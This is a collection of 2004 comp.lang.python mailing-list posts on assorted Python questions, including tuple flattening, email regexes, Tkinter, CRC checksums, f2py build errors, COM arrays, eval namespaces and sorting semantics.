fly. Unless I use the Singleton pattern (the Borg > pattern wouldn't work) I could easily end up with equal but > non-identical nodes, and no way of overriding this. I had experience using a C library for the underlying graph data. It returned opaque integers for object references. Every time I got one I wrapped it inside a new Python object. So I could have different Python objects for the same underlying object. It turned out the some algorithms used so many "have I seen this atom/bond before?" tests that the switch from == to 'is' made a big difference. On the other hand, it did mean I needed to convert from my library's natural style of graph into the form that allowed 'is' tests. Andrew dalke at dalkescientific.com From mark at prothon.org Wed Sep 1 02:40:05 2004 From: mark at prothon.org (Mark Hahn) Date: Tue, 31 Aug 2004 23:40:05 -0700 Subject: Announcing PyCs, a new Python-like language on .Net References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> Message-ID: On Sun, 29 Aug 2004 08:45:24 -0700, Tom B. wrote: >>> PyCs is a fusion of Python and C#. >> >> All joking not aside, what is next, P? >> >> -jack >> > How about P# , nice and short for the cut and paste challenged. > By naming it PyCs they are just trying to glom (or is that glob) onto > Python's fame. Why not just name it something new like Omnimegagolopolic-OO. > > Tom Don't forget that we have to get the domain name for whatever we choose. p.org is going to be hard to get. :-) I actually grabbed PySharp.org but I hate names with # in them. I think you should be able to type the name into a browser. It turns out that I missed a sourceforge project called PyCs so we will be changing our name soon. Our current best guess is Pyxc pronounced Pixie. We are guilty of trying to glom onto everything from Python, not just the fame. We want all of the Python-way, the simplicity, ease-of-programming, the whole ball of wax. We never claimed otherwise. If you are going to steal, steal from the best. The new language is actually just a subtle shift from the old Prothon as far as the programmer is concerned, but since we were dropping prototypes, we really had to change the name. Also we didn't want the prototype issue to confuse people looking into the language. Everyone has this idea that prototypes somehow made the language weird and different, when in reality you programmed it almost exactly the same. From news at NOwillmcguganSPAM.com Tue Sep 21 07:58:08 2004 From: news at NOwillmcguganSPAM.com (Will McGugan) Date: Tue, 21 Sep 2004 12:58:08 +0100 Subject: flat tuple Message-ID: <41501751$0$22757$db0fefd9@news.zen.co.uk> Hi, What is the simplest way of turning a single value and a tuple in to a single 'flat' tuple? ie. t= ( 1, 2, 3 ) n= 10 n, t gives me ( 10, ( 1, 2, 3 ) ) Fair enough, but I would like to get.. ( 10, 1, 2, 3 ) I would like to use the result to create a string with the % operator - I was hoping there was some shorthand to produce ( n, t[0], t[1], t[2] ). Thanks, Will McGugan From fumanchu at amor.org Tue Sep 21 11:18:55 2004 From: fumanchu at amor.org (Robert Brewer) Date: Tue, 21 Sep 2004 08:18:55 -0700 Subject: OT: regex to find email Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EF5@exchange.hqamor.amorhq.net> Remy Blank wrote: > Josh Close wrote: > > I've been trying to find a good regex to parse emails, but haven't > > found any to my liking. I basically need to have > > > > ( r'[a-z0-9\.\-\_]@[a-z0-9\.\-\_]', re.IGNORECASE ) > > > > but the first part can't start with .-_ and the last part > has to have > > a . in it (first/last being before/after the @). > > I'd try something like (untested): > > [a-z0-9][a-z0-9\._-]*@[a-z0-9\._-]+\.[a-z0-9\._-]+ > > Basically, you have to remember to say *how many* characters you want > of a specific set, that's what the '*' and '+' are for. Yes, but if you use the [a-z] charset instead of using \w, remember to use the case-insensitive flag when you compile your regex. Robert Brewer MIS Amor Ministries fumanchu at amor.org From davin at wordpainter.net Thu Sep 30 16:44:27 2004 From: davin at wordpainter.net (Davin Boling) Date: Thu, 30 Sep 2004 20:44:27 GMT Subject: Outputting to specific sound channels ? In-Reply-To: References: Message-ID: Dmitry Borisov wrote: > > Hmm, not sure how can you play sounds through Microphone, it accepts input only. Heh! Yeah, you gave me the right advice though. I'm looking to "inject" recorded media into the audio stream being recorded by the microphone/line-in. Thanks alot! From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Sat Sep 4 02:55:58 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.) Date: Sat, 4 Sep 2004 08:55:58 +0200 Subject: 2 different Python distributions on same Windows box? References: <1ua_c.794$Gi5.373@trndny05> Message-ID: Hi ! You want test bugs in stereo ? Seriously, I hope to read a report of the continuation. Thank you in advance. -- Michel Claveau From szmyd at colostate.edu Thu Sep 9 23:21:39 2004 From: szmyd at colostate.edu (Brian Szmyd) Date: Thu, 09 Sep 2004 21:21:39 -0600 Subject: Changing state of buttons. References: <41d499da.0409090946.37bc2739@posting.google.com> Message-ID: Jamey Saunders wrote: > Hi all, > > I'm just learning Python (I'm about 8 hours in so far), and I have a > problem. I'm writing a small Windows app using Tkinter. I have two > buttons on my screen that I want to start in an inactive state > (already have that working) and when two input fields have some data > input, the buttons would become active. What's the best way to go > about changing the state of buttons that already exist? > > Thanks! Hi Jamey, First off, many people will agree when I say ditch Tkinter, and switch to wxPython. Never the less... Not knowing a lot of Tkinter I would guess you can initialize these buttons to be in the "greyed out" state, and create an event on the two input fields that checks for any data input. Make the event call some validation function if you need it, and change the state of the button to "non-greyed out" if all is well! -regards brian szmyd From wjjeonk at hotmail.com Wed Sep 22 15:45:55 2004 From: wjjeonk at hotmail.com (Jay) Date: Wed, 22 Sep 2004 15:45:55 -0400 Subject: detecting variable types References: Message-ID: Thanks, Peter. Here's what I'm trying to do: I have a function like this: def func(**params): # if params[key1] is a single string # do something with params[key1] # if params[key1] is a list of strings for val in params[key1]: # do something Could you suggest a better way to do this without detecting the type? Jay. "Peter Hansen" wrote in message news:Y-WdnWCkPIytTszcRVn-vQ at powergate.ca... > Jay wrote: > > I'm sure this is a really dumb question, but how do you detect a variable > > type in Python? > > > > For example, I want to know if the variable "a" is a list of strings or a > > single string. How do I do this? > > Use the builtin function "type()", but note the following: > > 1. Variables don't actually have types in Python (and they're usually > called "names" in Python, for various reasons), but the data they are > currently bound to does have a type and that's what type() returns. > Often the distinction won't matter to you... > > 2. Most of the time people trying to do what you are probably trying > to do are going about things the wrong way, often from experience > with other languages. Lots of Python folks would be happy to introduce > you to "better" ways to do things, if you'll explain the use case > and tell us what you're actually trying to accomplish. (Of course, > using "type()" will work, but it's rarely considered the best > approach in the Python community.) > > -Peter From aleaxit at yahoo.com Sat Sep 25 18:19:17 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 26 Sep 2004 00:19:17 +0200 Subject: Clickable (wx)python app in OS X References: <26658f61.0409250605.32f18ba2@posting.google.com> Message-ID: <1gkp1v1.1lmghc01bjfi3vN%aleaxit@yahoo.com> PhysicsGenius wrote: > AAAAARRRRRRRRGGHGHGHGHGHGHGHGHGH!!!!!! I hate Macs. Just the perfect approach to get any help whatsoever from those of us who don't. *PLONK*. Alex From peter at engcorp.com Mon Sep 13 22:38:20 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 13 Sep 2004 22:38:20 -0400 Subject: check for unused ports and then grab one In-Reply-To: References: <9-adnWpzmJ90itvcRVn-vA@powergate.ca> Message-ID: <_66dnRuFcJAAxNvcRVn-pA@powergate.ca> Brad Tilley wrote: > Peter Hansen wrote: >>I've >> never had to do what you are trying to do, thus my curiosity... > > I use Python for administering windows clients. This software will > facilitate that... that's all. > > The server (which resides on the win clients) has to start and configure > itself dynamically. Using the same port number isn't necessary and I > prefer not to hard code it. Each server will have a client component > that grabs the current IP (dhcp) and port number the server is using and > then sends it to a separate machine (sys-admin workstation) that is > collecting a list of ips and ports for later usage. Thanks for the explanation Brad. Interesting usage. I suspect in the same situation I'd make the choice to assign a port to the service permanently (and hardcode or whatever), but I have to admit I don't have all the details so maybe I'd take your approach, too. :-) -Peter From jojo at struktur.de Thu Sep 9 04:54:28 2004 From: jojo at struktur.de (Joachim Bauch) Date: Thu, 09 Sep 2004 10:54:28 +0200 Subject: Shorter checksum than MD5 In-Reply-To: References: Message-ID: <41401A44.1000907@struktur.de> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, Mercuro wrote: | i'm looking for a simple way to checksum my data. The data is 70 bytes | long per record, so a 32 byte hex md5sum would increase the size of my | mysql db a lot. | | I'm looking for something that is 5 bytes long, for the moment i'm just | taking a part of the hex md5 sum (like this: checksum = md5sum[3:8]). I | don't have any duplicates, and I have over 100000 records, but i'm not | sure for the future... | | | Can anybody give me something better? Or point me to some website? You could use binascii.crc32() which generates a 4 byte checksum. ~From the python docs: crc32( data[, crc]) Compute CRC-32, the 32-bit checksum of data, starting with an initial crc. This is consistent with the ZIP file checksum. Since the algorithm is designed for use as a checksum algorithm, it is not suitable for use as a general hash algorithm. Use as follows: ~ print binascii.crc32("hello world") ~ # Or, in two pieces: ~ crc = binascii.crc32("hello") ~ crc = binascii.crc32(" world", crc) ~ print crc Cheers, ~ Joachim - -- Joachim Bauch struktur AG, jojo at struktur.de -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFBQBpEvb5cTc087cURAqBCAJ9CiSYI57djBUHRDweG7U0efIfR2wCfXIu5 e81vPBECKZh+wRVSn2jjFYo= =uObd -----END PGP SIGNATURE----- From aleaxit at yahoo.com Tue Sep 7 03:24:06 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 09:24:06 +0200 Subject: How to actually write a program? References: Message-ID: <1gjqk5q.vkzzpcbywftaN%aleaxit@yahoo.com> Peter Hansen wrote: ... > > there is a system that you can use to help you model out your program > > (taught to most computer science students). This system is called UML > > (Unified Modeling Language) - I would advise getting a good book about > > UML and reading through that. > > Ahhh!! Run! Run, Neil, run! UML! > > > It's is complementary to the XP (Extreme > > Programming) stuff that people are talking about. > > Ahhh!!! Run away some more! UML and XP are nearly anti-thetical. Scott Ambler's "Agile Modeling" is the one attempt to bridge this gap that I know of -- it's truly an excellent book, and very readable, but I suspect it will go right over the head of readers who don't have solid knowledge AND some experience in the field, too. XP (and to some extent Agile development of all kinds) do prefer to deliver code (tests, mostly) rather than other kind of development artifacts, includng most modeling artifacts; Scott (quite an expert at UML and other modeling techniques, of course) makes an excellent case for "as little modeling artifacts as you can get away with" but ALSO that sometime that "little" _DOES_ go all the way to UML. But unless you've tried different approaches 'in anger', you're unlikely to get from that excellent book as much as you could if you had. UML and Agile/XP are typically used in organizations with very different philosophies and mindsets. They're anything but antithetical _technically_, but, _culturally_, you're probably right... > Don't even consider going there. (Well, consider it, but please > don't waste any money buying a UML book as you do. Find a few > web sites, then ... run away! It's cheaper that way.) > > In my opinion, if you try to get a beginning programmer to work using > UML when he isn't even sure how to start writing code in an empty > file, you will not have a beginning programmer for long. And I > don't mean because you've just got him over that initial hump... On this one, even though I do like modeling, I agree with you 100%. The right time to learn modeling approaches and technologies is AFTER you have some experience in simpler kinds of programming, like TDD and other Agile approaches. > In another opinion of mine, if you try to get a more advanced > programmer to work using UML, you also deserve whatever you get... > > -rabidly-anti-UML-ically y'rs, > Peter I suspect your "anti-ness" comes from cultural and not technical factor. Basically, injecting some modeling into an Agile culture, just like the reverse, takes diplomatic talents which very few people possess... Alex From marfadeut at gmx.de Sat Sep 25 17:54:46 2004 From: marfadeut at gmx.de (M. Faust) Date: Sat, 25 Sep 2004 23:54:46 +0200 Subject: f2py error - windows xp (F2PY-2.43.239_1806) Message-ID: Hi, after having installed F2PY-2.43.239_1806 I get the following error when trying to run the hello.f example from the /docs directory: f2py.py --fcompiler=compaqv -c -m hello hello.f numpy_info: FOUND: define_macros = [('NUMERIC_VERSION', '"\\"23.1\\""')] include_dirs = ['D:\\Python23\\include'] running build running config_fc running build_src building extension "hello" sources f2py:> d:\dokume~1\faust\lokale~1\temp\tmpypqgoi\src\hellomodule.c creating d:\dokume~1\faust\lokale~1\temp\tmpypqgoi creating d:\dokume~1\faust\lokale~1\temp\tmpypqgoi\src Reading fortran codes... Reading file 'hello.f' Post-processing... Block: hello Block: foo Post-processing (stage 2)... Building modules... Building module "hello"... Constructing wrapper function "foo"... foo(a) Wrote C/API module "hello" to file "d:\dokume~1\faust\lokale~1\temp\tmpypqgoi\src/hellomodule.c" adding 'd:\dokume~1\faust\lokale~1\temp\tmpypqgoi\src\fortranobject.c' to sources. adding 'd:\dokume~1\faust\lokale~1\temp\tmpypqgoi\src' to include_dirs. copying D:\Python23\lib\site-packages\f2py2e\src\fortranobject.c -> d:\dokume~1\faust\lokale~1\temp\tmpypqgoi\src copying D:\Python23\lib\site-packages\f2py2e\src\fortranobject.h -> d:\dokume~1\faust\lokale~1\temp\tmpypqgoi\src running build_ext No module named msvccompiler in scipy_distutils, trying from distutils.. customize MSVCCompiler customize MSVCCompiler using build_ext 0 customize CompaqVisualFCompiler customize CompaqVisualFCompiler using build_ext building 'hello' extension compling C sources D:\Programme\Microsoft Visual Studio\VC98\BIN\cl.exe /c /nologo /Ox /MD /W3 /GX /DNDEBUG -ID:\Python23\include -Id:\dokume~1\faust\l okale~1\temp\tmpypqgoi\src -ID:\Python23\include -ID:\Python23\PC /Tcd:\dokume~1\faust\lokale~1\temp\tmpypqgoi\src\hellomodule.c /Fo d:\dokume~1\faust\lokale~1\temp\tmpypqgoi\src\hellomodule.obj D:\Programme\Microsoft Visual Studio\VC98\BIN\cl.exe /c /nologo /Ox /MD /W3 /GX /DNDEBUG -ID:\Python23\include -Id:\dokume~1\faust\l okale~1\temp\tmpypqgoi\src -ID:\Python23\include -ID:\Python23\PC /Tcd:\dokume~1\faust\lokale~1\temp\tmpypqgoi\src\fortranobject.c / Fod:\dokume~1\faust\lokale~1\temp\tmpypqgoi\src\fortranobject.obj fortranobject.c d:\dokume~1\faust\lokale~1\temp\tmpypqgoi\src\fortranobject.c(576) : error C2039: 'weakreflist' : is not a member of 'PyArrayObject' D:\Python23\include\Numeric/arrayobject.h(49) : see declaration of 'PyArrayObject' d:\dokume~1\faust\lokale~1\temp\tmpypqgoi\src\fortranobject.c(576) : error C2039: 'weakreflist' : is not a member of 'PyArrayObject' D:\Python23\include\Numeric/arrayobject.h(49) : see declaration of 'PyArrayObject' d:\dokume~1\faust\lokale~1\temp\tmpypqgoi\src\fortranobject.c(576) : error C2039: 'weakreflist' : is not a member of 'PyArrayObject' D:\Python23\include\Numeric/arrayobject.h(49) : see declaration of 'PyArrayObject' d:\dokume~1\faust\lokale~1\temp\tmpypqgoi\src\fortranobject.c(576) : error C2039: 'weakreflist' : is not a member of 'PyArrayObject' D:\Python23\include\Numeric/arrayobject.h(49) : see declaration of 'PyArrayObject' error: Command ""D:\Programme\Microsoft Visual Studio\VC98\BIN\cl.exe" /c /nologo /Ox /MD /W3 /GX /DNDEBUG -ID:\Python23\include -Id :\dokume~1\faust\lokale~1\temp\tmpypqgoi\src -ID:\Python23\include -ID:\Python23\PC /Tcd:\dokume~1\faust\lokale~1\temp\tmpypqgoi\src \fortranobject.c /Fod:\dokume~1\faust\lokale~1\temp\tmpypqgoi\src\fortranobject.obj" failed with exit status 2 I'm on Windows XP with Python 2.3.4. Has anybody an idea what's going wrong? Thanks in advance! Markus mailto: Markus.Faust at t-online.de From ulf.ackermann at pdv.de Wed Sep 15 12:06:31 2004 From: ulf.ackermann at pdv.de (UlleAcki) Date: 15 Sep 2004 09:06:31 -0700 Subject: Pythoncom: Using array of special type (com_struct) as parameter Message-ID: Hi, in my Python program I have to use a COM-Server. One method of the COM class needs a SAFEARRAY of a special type as parameter. Trying to create such an array and calling the method results in a MemoryError. Is it possible with pythoncom to use a SAFEARRAY()* as parameter? If yes, how can I achieve this? Thanks in advance, Ulf Code pieces for demonstration: IDL ------------ typedef [uuid(XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX)] struct tagStructure { BSTR name; IUnknown* interface; } SStructure; [ odl, uuid(XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX), dual, oleautomation ] interface IManager : IDispatch { [id(0x00000001)] HRESULT Init([in] long id, [in] SAFEARRAY(SStructure)* psaInterface); }; Python --------- modtypelib = win32com.client.gencache.EnsureModule('{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}', 0, 1, 0) mgr = win32com.client.Dispatch("ProgId") obj = win32com.client.Dispatch("ProgId-2") iUnk = obj._oleobj_.QueryInterface(pythoncom.IID_IUnknown) rec = win32com.client.Record('SStructure', mgr) rec.name = 'TheName' rec.interface = iUnk arr = [] arr.append(rec) mgr.Init(1, arr) --> MemoryError: CreatingSafeArray From export at hope.cz Wed Sep 29 02:40:05 2004 From: export at hope.cz (Lad) Date: 28 Sep 2004 23:40:05 -0700 Subject: os.system vs. Py2Exe References: <81a41dd.0409280200.1a74edd1@posting.google.com> Message-ID: <81a41dd.0409282240.739cb257@posting.google.com> Peter Hansen wrote in message news:... > Lad wrote: > > I used Py2exe to compile my script( I use XP). > > The compiled script works OK on my XP where Python is installed. > > But when I install the compiled exe to another computer, > > What operating system is the other computer running? The other Operating system( that does not work with os.system) is Windows 98 From aleaxit at yahoo.com Wed Sep 22 08:43:50 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 14:43:50 +0200 Subject: Python 3.0, rich comparisons and sorting order References: <864d370904092109509df67ee@mail.gmail.com> <20040921173455.GB2891@unununium.org> <20040921182934.GA9959@unununium.org> <1gkic4n.18qxgoup1mzdhN%aleaxit@yahoo.com> <1gkigwd.g94011hdrj5dN%aleaxit@yahoo.com> Message-ID: <1gkiqzy.1nachuh229fa5N%aleaxit@yahoo.com> Carlos Ribeiro wrote: ... > > Python; I argue that pushing such subtle responsibilities down to Python > > _users_ is no progress. > > That pretty much sums my argument very well (Thanks Alex!). I think You're welcome. > that sort must simply work. *If* some type of ordering between I think an acceptable compromise would be for the user to have to do: import universal_comparator arbitrary_list.sort(cmp=universal_comparator.cmp) in order to ensure sort "simply works". Actually, I hope in Python 3K sort will take just an 'LT', not requiring a full 'CMP' (I believe the single operator < with the proper semantics is sufficient), but that's a separate issue. The point is, IMHO, that requiring universal comparability _is_ rare enough that "comparing anything at all" need not be the DEFAULT -- but is definitely not rare enough that it can be simply ignored or pushed down to the users. A universal comparison function importable from a suitable module seems about right to me. Alex From drysdam at ll.mit.edu Tue Sep 14 08:06:00 2004 From: drysdam at ll.mit.edu (David Rysdam) Date: Tue, 14 Sep 2004 08:06:00 -0400 Subject: funcs vs vars in global namespace Message-ID: Getting no answer yesterday, I've done some investigation and I obviously don't understand how python namespaces work. Here's a test program: #!/usr/bin/python b = 2 def sumWithGlobal(a): return a + b #this is easy print 'Case 1: Normal function call:' print sumWithGlobal(2) print #If you don't send a globals dict with eval, it uses the one from #the calling program, so this is basically the same as Case 1 print 'Case 2: Function call from inside an eval using the same globals():' print eval("sumWithGlobal(2)") print #Since I'm sending in a globals dict but haven't included a defintion #for sumWithGlobal(), obviously this will fail (commented out to get #past the error) print 'Case 3: Attempt to replace just the global var b (fails for known reason)' #print eval("sumWithGlobal(2)", {'b':3}) print #Here is define sumWithGlobals but not b and it still works. Why? #Shouldn't I get an error that b is undefined, since it isn't in the #globals dict of the eval? print 'Case 4: Attempt to set just the function sumWithGlobal (succeeds for unknown reason' print eval("sumWithGlobal(2)", {'sumWithGlobal':sumWithGlobal}) print #And finally I define both but I still get output as if b = 2 #Again, why? In the eval's global, b = 3, doesn't it? print 'Case 5: Attempt to set both function and var. (var has wrong value)' print eval("sumWithGlobal(2)", {'sumWithGlobal':sumWithGlobal, 'b':3}) print If I add a "print globals()" to sumWithGlobal, I see {'b':2} in there in cases 1, 2, 4 and 5. What am I doing wrong? From FBatista at uniFON.com.ar Fri Sep 10 10:09:16 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Fri, 10 Sep 2004 11:09:16 -0300 Subject: a module finding its own name Message-ID: [Alexander Schmolck] #- Is there a more or less sane way for a module to find its own name? Yes, look in __name__. . Facundo From inderjitrai at yahoo.com Fri Sep 10 16:42:21 2004 From: inderjitrai at yahoo.com (someguy) Date: Fri, 10 Sep 2004 20:42:21 GMT Subject: python, javascript and mysql References: Message-ID: Phil Frost wrote in news:mailman.3141.1094823335.5135.python-list at python.org: > Also, if you output the table as HTML and give an element an 'id' or > 'name attribute, then you can find that elemente in javascript and > examine its contents. Take a look at > for > all the nifty things javascript can do with an HTML document. Also, > devedge.netscape.com has much other interesting javascript on it. > > On Fri, Sep 10, 2004 at 08:13:24AM -0500, Larry Bates wrote: >> The answer is that you can do it either way. >> You can have python create JavaScript that creates >> a variable (normally an array) that contains the >> values and then have a JavaScript function that >> builds the table via DOM or you can just create >> the entire page using Python (as HTML) on the >> server and send it. All depends on exactly how >> the application needs to act and if you are >> comfortable with JavaScript client programming. >> >> Larry Bates >> Syscon, Inc. >> >> "someguy" wrote in message >> news:Xns95601196933C1inderjitraiyahoocom at 66.185.95.104... >> > Hi all! >> > I'm new to python so i'm hoping someone could help me out. I'm >> > trying to use python for cgi. I have a page with pictures along >> > the sides and a table in the middle. The pictures on the side >> > change using javascript. What I want to do is populate that table >> > by getting the records from mySql using python and then somehow >> > populate my table on the page with these values. How do i pass >> > these values from python back to javascript? Or do i have to >> > generate the whole html code again in the cgi file? >> > >> > Thanks in advance Thanks for all your help guys....i'm looking into iFRAME and hopefully that will solve my problem :) From peter at engcorp.com Fri Sep 3 09:29:48 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 03 Sep 2004 09:29:48 -0400 Subject: OT: DeviceNet via Python (was Re: It's in Python. It just _works_!) In-Reply-To: <4137f1b1$0$8083$a1866201@newsreader.visi.com> References: <4137b3ed$0$65570$a1866201@newsreader.visi.com> <9JmdnQgSR7k-eqrcRVn-sA@powergate.ca> <4137f1b1$0$8083$a1866201@newsreader.visi.com> Message-ID: <-oKdnV1fsfDO7KXcRVn-sQ@powergate.ca> Grant Edwards wrote: > On 2004-09-03, Peter Hansen wrote: >>Grant, could you say anything about what gadgets were involved >>that let you talk to DeviceNet with Python? Did it have a >>serial port, or talk TCP directly, or something else? > > I use a USB/CAN interface from PEAK-System Technik GmbH. [snip] Thanks so much for that detailed description! I've filed it for reference the next time we have to talk CAN to something, and passed it on to a number of people. Our own approach used a CAN4USB device from Zanthic Technologies, and talked to a Windows DLL using calldll. We had also experimented with a plug-in card from a German company (different one, I think), but that didn't work out as well. I'm curious if anyone has yet contrived a working solution for both Linux and Windows... Zanthic didn't have a Linux driver for theirs, and I don't know what the API would have been to talk to it from Linux. -Peter From yunmao at gmail.com Thu Sep 16 18:15:11 2004 From: yunmao at gmail.com (Yun Mao) Date: Thu, 16 Sep 2004 18:15:11 -0400 Subject: what's the deal of "_" in Python? Message-ID: <7cffadfa040916151530c85234@mail.gmail.com> Can someone give me some pointers to the related docs? Thanks. -Yun From peter at engcorp.com Thu Sep 2 14:51:58 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 02 Sep 2004 14:51:58 -0400 Subject: explainations about standard library and modules in Python. In-Reply-To: References: Message-ID: Hung ho wrote: > My question is that, can anyone recommend me any book, or online materials that > could explain what the functions some of the modules in the standard > library can do that are packaged along with Python v. 2.3.4?. For > example, I read some modules such as os.py, sys.py, and random.py > The documents in those modules didn't help me to comprehend what > the purpose of the modules, and how to use them in Python. No beginner is expected to read the source code itself to figure things out. Go to the online documentation at http://docs.python.org and browse through it. Make sure you read the tutorial, but if you have questions about specific modules, go to the Global Module Index. For example, read the first sentence of each of these two learn the purpose of the modules you mentioned: http://docs.python.org/lib/module-sys.html http://docs.python.org/lib/module-os.html http://docs.python.org/lib/module-random.html -Peter From tmohr at s.netic.de Thu Sep 9 16:21:12 2004 From: tmohr at s.netic.de (Torsten Mohr) Date: Thu, 09 Sep 2004 22:21:12 +0200 Subject: my own type in C, sequence protocol References: Message-ID: Hi, >> Now that i have implemented the sequence protocol, what >> can i do with it, can't i assign values like above somehow? > > Nope. The expression [1, 2, 3] evaluates to a list, > as in listobject. m = [1, 2, 3] binds the name "m" > to this object. Its prior binding to your myType() > instance doesn't matter. If you're new to Python, it's > lucky you ran into this so early, because this business > about names and objects is an important difference between > Python and, for example, C++. thanks for that explanation. From the error messages i got i already thought of something like this. But still i'm confused, what is the advantage to implement the sequence protocol for my type then? The type that i implemented is a "CAN message", don't know if this means something to you, it is a communication message with 0 to 8 bytes content. To access this content i thought there would be an advantage in implementing the sequence protocol. What is the advantage then? Best regards, Torsten. From jfj at freemail.gr Sun Sep 12 00:17:02 2004 From: jfj at freemail.gr (Jerald) Date: Sat, 11 Sep 2004 21:17:02 -0700 Subject: How can I exec() in global? Message-ID: Hi. Is it possible to exec() from within a function so the exec'd code affects global? For example def foo(): exec ('X=[1,2,3]') And I'd like 'X' to be a global variable. Thanks, Gerald From aleaxit at yahoo.com Sat Sep 11 09:19:49 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 11 Sep 2004 15:19:49 +0200 Subject: package module import name clash with global package References: <1gjx9y3.85025t5mpy3hN%aleaxit@yahoo.com> Message-ID: <1gjyejy.1lwmx5g8kdvywN%aleaxit@yahoo.com> George P wrote: ... > Not all that simple. Let's say I give my submodule some fairly generic > name like utils. I would think that was fine because my module is > really mypkg.utils. But then someone out in the rest of the python > universe creates a package called utils and that eventually becomes > standard and gets installed on all systems. Then if I wanted to access > it within my module, I would have a problem. Right: in this case, in the release of your module where you suddenly want to use a module of the same name from elsewhere, you have to take a little more care than just adding an 'import utils'. But there's no guessing involved: it was your "who could guess" that made no sense. Your module mypkg.utils which wants to import a module named simply utils must carefully do something like: import sys, imp utils = sys.modules.get('utils') if not utils: utils = imp.load_module('utils',*imp.find_module('utils')) > The problem is easily overcome in my code - all I'd have to do is to Sure, see above. > rename my module to myutils or something, but if any other code has > been written that relied on my package and imported mypkg.util, they'd > suddenly stop working with the new release that has the module renamed > to mypkg.myutil. If you change the published interface of your package, yup, you'll break client code relying on the previous version of the interface. If everybody used the preferred form "from mypkg import utils" you'd have no trouble (just add 'import myutils as utils' to mypkg/__init__.py) but if they use the popular form "import mypkg.utils" you'd break their code. Which is why, to avoid risking that, I'd suggest the imp solution sketched above, rather than running the risk of changing your own published interface. > I'm not saying that these aren't insurmountable problems, I'm just > looking for a better solution. In C++, I would be able to refer to the > global utils in my code as ::utils, and there would be no more > problems. Does anyone know of a similar workaround in python? Yep, http://www.python.org/peps/pep-0328.html -- but it looks like only the multiline-import part of PEP 328 is going to make it into Python 2.4, unless I've missed something, not the absolute and relative imports which are presumably what you're looking for. Alex From psXdaXsilva at esotericaX.ptX Fri Sep 17 19:41:03 2004 From: psXdaXsilva at esotericaX.ptX (Paulo da Silva) Date: Sat, 18 Sep 2004 00:41:03 +0100 Subject: Problems with encoding Message-ID: <1095464763.531695@iceman.esoterica.pt> Hi. I am using unicode encode method to write some accented chars to files (%s). Do I need to use the method "encode" always? Isn't there a general way to declare the encoding for the whole program? I have tried sys.setdefaultencoding but there was no such method ! Thanks for any help. From peter at engcorp.com Fri Sep 24 15:53:14 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 24 Sep 2004 15:53:14 -0400 Subject: Drawing sound In-Reply-To: References: Message-ID: <_audnWpgdbG35sncRVn-uA@powergate.ca> Chris wrote: > I want a program that can "draw" sound. > > Imagine drawing a graph of frequency against time - > and then being able to play it over the computer speakers. > > Can this be done in Python? > > As a start, consider this simple QBASIC program that generates random > frequencies: > > 10 frequency = 40 + 400 * RND > 20 SOUND frequency, 7 > 30 GOTO 10 > > That's fine - except that it plays over the PC speaker - the one that's > just there for the happy beep - and not through the sound card and > proper speakers. > > Can that be done in Python? > Or in any other language? Certainly. Python or any other decent general-purpose language can do this. In Python, you'd want to look into PyGame, or perhaps wxPython or one of the other GUI frameworks (provided it has adequate sound support... wxPython has the wx.Sound class but I don't know whether it's up to the job in this case). -Peter From me at privacy.net Sun Sep 26 18:49:16 2004 From: me at privacy.net (Richard Hanson) Date: Sun, 26 Sep 2004 15:49:16 -0700 Subject: Math errors in python References: <70b3d.1822$uz1.747@trndny03> <7xfz5ein0h.fsf@ruckus.brouhaha.com> <1gkdk3g.3ivp7amnqsw1N%aleaxit@yahoo.com> <1gkqqmt.ng7g3h14zievbN%aleaxit@yahoo.com> Message-ID: [Connection working again...?] Alex Martelli wrote: > Richard Hanson wrote: > ... > > (Alex mentioned you have a Fujitsu LifeBook -- I do, too, and like it > > very much!) > > There are many 'series' of such "Lifebooks" nowadays -- it's become as > un-descriptive as Sony's "Vaio" brand or IBM's "Thinkpad". Anna's is a > P-Series -- 10.5" wide-form screen, incredibly tiny, light, VERY > long-lasting batteries. Ahem. As I said ;-) in my reply to your post mentioning Anna's P2000 (in my MID: ), and in earlier postings re 2.4x installation difficulties, mine is a Fujitsu LifeBook P1120. (Sorry, Alex! I definitely *should* have mentioned the model again -- I'm just beginning to appreciate the difficulty of even *partially* keeping up with c.l.py. I'm learning, though. :-) ) In any event, the Fujitsu LifeBook P1120 has a 8.9" wide-format screen, is 2.2lbs.-light with the smaller *very* long-lasting battery and 2.5lbs.-light with the very, *very* long-lasting battery, and has -- what tipped the scales, as it were, for my needs -- a touchscreen and stylus. > It was the _only_ non-Apple computer around at > the local MacDay (I'm a Mac fan, and she attended too, to keep an eye on > me I suspect...;-), yet it got nothing but admiring "ooh!"s from the > crowd of design-obsessed Machies (Apple doesn't make any laptop smaller > than 12", sigh...). I can feel your pain. I would switch to Apple in a second if they had such light models (and if I had the bucks ;-) ). I need a very light machine for reasons specified earlier. (Okay, slightly reluctantly: Explicit may be better even with *this* particular info -- I have arthritis [ankylosing spondylitis] and need very light laptops to read and write with. :-) ) > OBCLPY: Python runs just as wonderfully on her tiny P-Series as on my > iBook, even though only Apple uses it within the OS itself;-) ObC.l.pyFollow-up: Python also runs very well on my tinier ;-) P1120 with the Transmeta Crusoe TM5800 processor running at 800MHz and with 256MB RAM and a 256KB L2 on-chip cache -- even using Win2k. :-) It's really nice not needing a fan on a laptop, as well -- even when calculating Decimal's sqrt() to thousands of decimal places. ;-) 